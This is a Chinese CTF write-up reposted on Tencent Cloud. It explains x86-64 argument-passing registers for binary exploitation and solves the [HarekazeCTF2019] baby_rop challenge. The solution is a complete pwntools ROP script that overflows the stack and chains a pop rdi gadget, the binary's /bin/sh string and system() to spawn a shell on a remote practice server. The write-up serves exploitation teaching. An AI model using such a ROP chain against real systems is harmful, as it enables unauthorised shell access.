Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >PWN 64位程序寄存器的使用

PWN 64位程序寄存器的使用

作者头像
yulate
发布于 2023-05-02 03:09:38
发布于 2023-05-02 03:09:38
57200
代码可运行
举报
运行总次数:0
代码可运行

本文最后更新于 556 天前,其中的信息可能已经有所发展或是发生改变。

刷题多了对寄存器开始有着一定的了解了,这篇文章就来总结一下。

六十四位汇编

当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。 当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。 参数个数大于 7 个的时候 H(a, b, c, d, e, f, g, h); a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9 h->8(%esp) g->(%esp) call H

也就是说在六十四位程序的payload构造过程中如果需要传入参数就需要对应的寄存器地址,如一个参数就需要进行寻找pop rdi地址

例题分析

[HarekazeCTF2019]baby_rop

分析

printf函数中的v4没做长度限制,很明显的栈溢出。

程序string中包含/bin/sh,但是没有函数调用,这里用pop rdi调用

payload
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
from pwn import *

context.log_level = 'debug'
p = remote("node4.buuoj.cn",28395)
elf = ELF('./babyrop')

system_addr = elf.symbols['system']
pop_rdi = 0x400683
binsh_addr =  0x601048

payload = b'a' * (0x10 + 8) +  p64(pop_rdi) + p64(binsh_addr) +p64(system_addr)
p.sendline(payload)
p.interactive()

参考资料

64位汇编参数传递:http://abcdxyzk.github.io/blog/2012/11/23/assembly-args/

浏览量: 262

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-10-18 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Nuxt.js必读:轻松掌握运行时配置与 useRuntimeConfig
本文详细介绍了Nuxt.js中的运行时配置功能,包括定义和使用运行时配置的方法,以及如何通过useRuntimeConfig访问配置。同时,讲解了环境变量与.env文件的使用,特别是在不同环境下的配置管理。
8808.tw
2024/08/15
3700
Nuxt.js必读:轻松掌握运行时配置与 useRuntimeConfig
Nuxt3 实战 (十二):SEO 搜索引擎优化指南
4、/pages/ 目录中可以使用 definePageMeta 来根据当前路由设置元数据
白雾茫茫丶
2024/06/26
8490
Nuxt3 实战 (十二):SEO 搜索引擎优化指南
Taro——环境变量配置
最近准备开发移动端相关的内容,调研后选择了Taro,基于Taro+Vue3进行开发,在初始化框架后,又加入了一些前端规范限制,都完成后,打算配置环境变量,却发现按着官方的文档去配置,并没有生效;在封装的axios中去使用的使用,获取到的是undefined,所以这里做下记录; taro版本:3.6.34 模式和环境变量:https://docs.taro.zone/docs/env-mode-config/
思索
2024/08/15
2620
Vite弃坑指南之:环境文件系统
哈喽大家好,我是外卖仔,老久没静下心来卷文章了。随着Vite在前端工具链中比重越来越大,用的人也越来越多,打算出几期Vite的应用和机制研读,让小伙伴们用起来更得心应手。
南山种子外卖跑手
2022/09/02
7620
Vite弃坑指南之:环境文件系统
Taro——环境变量配置
最近准备开发移动端相关的内容,调研后选择了Taro,基于Taro+Vue3进行开发,在初始化框架后,又加入了一些前端规范限制,都完成后,打算配置环境变量,却发现按着官方的文档去配置,并没有生效;在封装的axios中去使用的使用,获取到的是undefined,所以这里做下记录;
思索
2024/08/14
3140
Vue之Axios跨域问题解决方案
背景:因为axios中只能使用get和post方法来进行请求数据,没有提供jsonp等方法进行跨域访问数据
全栈程序员站长
2022/08/14
1.7K1
Vue之Axios跨域问题解决方案
前后端分离,如何在前端项目中动态插入后端API基地址?(in docker)
开门见山,本文分享前后端分离,容器化前端项目时动态插入后端API基地址,这是一个很赞的实践,解决了前端项目容器化过程中受制后端调用的尴尬。
有态度的马甲
2020/06/04
1.4K0
WebPack高级进阶:
紧跟前文: WebPack5.0 快速入门 简单的了解了:WebPack的使用,接下来康康项目中的管理吧;
Java_慈祥
2024/08/01
2090
WebPack高级进阶:
vue前端跨域解决方案有哪些_前端能完全解决跨域问题吗
我们可以利用axios的baseUrl直接默认值是 api,这样我们每次访问的时候,自动补上这个api前缀,就不需要我们自己手工在每个接口上面写这个前缀了 在入口文件里面配置如下:
全栈程序员站长
2022/11/10
1K0
vue3+element-plus+router+vuex+axios从零开始搭建(2)
vue-cli 3.0x与vue-cli 2.0x最主要的区别是项目结构目录精简化,这也带来了许多问题,很多配置需要自己配置,
solate
2021/06/21
1.5K0
nuxt3目录结构详解
在 Nuxt.js 3 中,一个应用程序的文件夹结构具有一定的规范性。以下是 Nuxt.js 3 的文件夹结构及其用途的详细解释:
小小孩子们
2024/02/03
3.3K0
umijs环境变量问题
其打印出来的结果仍然是development,(大概是这个效果,这里是手动做的打印数据)
阿超
2023/07/21
1.6K2
umijs环境变量问题
vite基本配置教程
最近做项目要求将webpack打包方式换成vite,下面将详细讲解一下配置vite需要修改哪些文件,以及过程中踩到的奇葩坑。
程序媛夏天
2024/01/18
6650
vite基本配置教程
Vue 新增不参与打包的接口地址配置文件
vue工程项目,npm run build webpack方式打包,每次打包后如果需要更改后台接口地址(项目中,接口地址设置成变量,存放在js文件中,需要用到的地方导入),都需要重新打包,比较麻烦,所以,想给项目增加个配置文件,打包后如果要更改接口地址,修改该文件即可。
授客
2020/06/02
2.4K0
4-12 环境变量的使用
其实我么之前已经将webpack.config.js 按环境进行去了区分配置,那么在公共配置文件中我们能否知道当前所处的环境,并据此做逻辑区分呢?
love丁酥酥
2020/03/26
5610
让Node项目支持可扩展的环境配置
先来看看Vue CLI关于模式和环境变量的说明,我们看到有这么一段话:想要了解解析环境文件规则的细节,请参考 dotenv。我们也使用 dotenv-expand 来实现变量扩展 (Vue CLI 3.5+ 支持)。我们先用Vue Cli来创建一个Vue项目。
前端小鑫同学
2022/12/26
9540
让Node项目支持可扩展的环境配置
CROSS-ENV不同环境配置
项目背景 为了适应h5环境搭建需求,需要动态配置开发,测试,生产三种对应域名及其及打包命令。使用cross-env可以让配置环境更加清晰明了还好管理。 简介 cross-env的作用是不需要全局配置NODE_ENV在scripts脚本中修改NODE_ENV的值从而实现不同环境中proccess.env.NODE_ENV的不同,而config的工作原理就是基于NODE_ENV这个值的,所以推荐两者结合使用。 安装 cross-env
我不是费圆
2020/10/09
4.9K0
从零搭建一个django项目-13-多环境变量配置
每次启动serve或者buil需要配置不同的调后台地址,这里我们可以选择使用Vue中环境变量。 在项目根目录下新建或修改以下文件:.env.xxx development模式用于 vue-cli-service serve production模式用于 vue-cli-service build 这里新建的两个默认的文件分别对应调试和打包 也可以自定义一个 使用命令 npm run local执行读取local环境 新建一个config文件夹存放配置: 在index.js文件下: // 根据
怪盗LYL
2022/06/13
5350
从零搭建一个django项目-13-多环境变量配置
Vite多环境配置:让项目拥有更高定制化能力
近些年来,随着前端工程架构发展,使得前端项目中也能拥有如后端工程的模块能力。正所谓 “能力(越)越大(来),责任(越)越大(卷)”,现在的前端工程不仅仅要满足业务需求,还伴随更多复杂的环境适配问题,例如:
南山种子外卖跑手
2022/03/07
3.7K0
Vite多环境配置:让项目拥有更高定制化能力
如何用 GitHub Issues 搭建一个轻博客系统:Path Meme 项目实战
一直想随便写点什么东西,但是不想发朋友圈和微博,也没那么多的内容可以写一篇长文章,还想让内容有自主性,不担心随便说话被删,前几天正好试用了一下 Cursor,正好用它按自己的想法写一个可以随便说话的轻博客系统。 Path Meme —— 一个利用 GitHub Issues 作为 CMS 的现代化博客系统。今天,我和大家分享如何从零开始搭建这样一个博客系统。
goodspeed
2024/11/02
2180
相关推荐
Nuxt.js必读:轻松掌握运行时配置与 useRuntimeConfig
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验